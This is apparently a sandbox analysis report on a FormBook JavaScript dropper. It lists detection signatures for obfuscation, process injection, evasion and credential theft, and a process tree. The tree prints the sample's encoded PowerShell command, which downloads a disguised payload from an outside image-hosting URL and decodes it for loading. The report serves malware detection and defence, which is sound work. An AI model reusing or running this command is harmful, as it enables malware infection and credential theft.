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Windows
Analysis Report
1013911.js
Overview
General Information
Detection
FormBook
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
JScript performs obfuscated calls to suspicious functions
Malicious sample detected (through community Yara rule)
Sigma detected: Paste sharing url in reverse order
Sigma detected: Powershell download and load assembly
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
Connects to a pastebin service (likely for C&C)
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Net WebClient Casing Anomalies
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Sigma detected: WScript or CScript Dropper - File
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 7296 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\10139 11.js" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cscript.exe (PID: 7384 cmdline:
"C:\Window s\System32 \cscript.e xe" C:\Use rs\user\Ap pData\Loca l\Temp\ost axa.js MD5: 24590BF74BBBBFD7D7AC070F4E3C44FD) - conhost.exe (PID: 7392 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7464 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ zooiatrolo gia = 'aQB mACAAKAAkA G4AdQBsAGw AIAAtAG4AZ QAgACQAUAB TAFYAZQByA HMAaQBvAG4 AVABhAGIAb ABlACAALQB hAG4AZAAgA CQAUABTAFY AZQByAHMAa QBvAG4AVAB hAGIAbABlA C4AUABTAFY AZQByAHMAa QBvAG4AIAA tAG4AZQAgA CQAbgB1AGw AbAApACAAe wAgAFsAdgB vAGkAZABdA CQAUABTAFY AZQByAHMAa QBvAG4AVAB hAGIAbABlA C4AUABTAFY AZQByAHMAa QBvAG4AIAB 9ACAAZQBsA HMAZQAgAHs AIABXAHIAa QB0AGUALQB PAHUAdABwA HUAdAAgACc AUABvAHcAZ QByAFMAaAB lAGwAbAAgA HYAZQByAHM AaQBvAG4AI ABOAG8AdAA gAGEAdgBhA GkAbABhAGI AbABlACcAI AB9ADsAaQB mACAAKAAkA G4AdQBsAGw AIAAtAG4AZ QAgACQAUAB TAFYAZQByA HMAaQBvAG4 AVABhAGIAb ABlACAALQB hAG4AZAAgA CQAUABTAFY AZQByAHMAa QBvAG4AVAB hAGIAbABlA C4AUABTAFY AZQByAHMAa QBvAG4AIAA tAG4AZQAgA CQAbgB1AGw AbAApACAAe wAgAFsAdgB vAGkAZABdA CQAUABTAFY AZQByAHMAa QBvAG4AVAB hAGIAbABlA C4AUABTAFY AZQByAHMAa QBvAG4AIAB 9ACAAZQBsA HMAZQAgAHs AIABXAHIAa QB0AGUALQB PAHUAdABwA HUAdAAgACc AUABvAHcAZ QByAFMAaAB lAGwAbAAgA HYAZQByAHM AaQBvAG4AI ABOAG8AdAA gAGEAdgBhA GkAbABhAGI AbABlACcAI AB9ADsAJAB tAGEAZAByA GkAZwBhAGw AZQB0AGUAI AA9ACAAJwB oAHQAdABwA HMAOgAvAC8 AcgBlAHMAL gBjAGwAbwB 1AGQAaQBuA GEAcgB5AC4 AYwBvAG0AL wBkAHkAdAB mAGwAdAA2A DEAbgAvAGk AbQBhAGcAZ QAvAHUAcAB sAG8AYQBkA C8AdgAxADc AMwAzADEAM wA0ADkANAA 3AC8AYgBrA GwAcAB5AHM AZQB5AGUAd QB0ADQAaQB tAHAAdwA1A DAAbgAxAC4 AagBwAGcAI AAnADsAJAB yAGUAbABhA HQAYQByACA APQAgAE4AZ QB3AC0ATwB iAGoAZQBjA HQAIABTAHk AcwB0AGUAb QAuAE4AZQB 0AC4AVwBlA GIAQwBsAGk AZQBuAHQAO wAkAGEAZAB yAG8AIAA9A CAAJAByAGU AbABhAHQAY QByAC4ARAB vAHcAbgBsA G8AYQBkAEQ AYQB0AGEAK AAkAG0AYQB kAHIAaQBnA GEAbABlAHQ AZQApADsAJ ABvAGYAdAB hAGwAbQBvA HgAaQBzAGU AIAA9ACAAW wBTAHkAcwB 0AGUAbQAuA FQAZQB4AHQ ALgBFAG4AY wBvAGQAaQB uAGcAXQA6A DoAVQBUAEY AOAAuAEcAZ QB0AFMAdAB yAGkAbgBnA CgAJABhAGQ AcgBvACkAO wAkAHgAYQB xAHUAZQBjA GEAIAA9ACA AJwA8ADwAQ gBBAFMARQA 2ADQAXwBTA FQAQQBSAFQ APgA+ACcAO wAkAGIAcgB pAG0AIAA9A CAAJwA8ADw AQgBBAFMAR QA2ADQAXwB FAE4ARAA+A D4AJwA7ACQ AYwBvAG4Ad ABlAG4AaAB vACAAPQAgA CQAbwBmAHQ AYQBsAG0Ab wB4AGkAcwB lAC4ASQBuA GQAZQB4AE8 AZgAoACQAe ABhAHEAdQB lAGMAYQApA DsAJABjAG8 AbABhAHAAc wBvACAAPQA gACQAbwBmA HQAYQBsAG0 AbwB4AGkAc wBlAC4ASQB uAGQAZQB4A E8AZgAoACQ AYgByAGkAb QApADsAJAB jAG8AbgB0A GUAbgBoAG8 AIAAtAGcAZ QAgADAAIAA tAGEAbgBkA CAAJABjAG8 AbABhAHAAc wBvACAALQB nAHQAIAAkA GMAbwBuAHQ AZQBuAGgAb wA7ACQAYwB vAG4AdABlA G4AaABvACA AKwA9ACAAJ AB4AGEAcQB 1AGUAYwBhA C4ATABlAG4 AZwB0AGgAO wAkAHEAdQB pAG4AYQBsA CAAPQAgACQ AYwBvAGwAY QBwAHMAbwA gAC0AIAAkA GMAbwBuAHQ AZQBuAGgAb wA7ACQAYQB sAG0AZQBpA GQAaQBuAGE AIAA9ACAAJ ABvAGYAdAB hAGwAbQBvA HgAaQBzAGU ALgBTAHUAY gBzAHQAcgB pAG4AZwAoA CQAYwBvAG4 AdABlAG4Aa ABvACwAIAA kAHEAdQBpA G4AYQBsACk AOwAkAGIAd QBiAGUAbAB hACAAPQAgA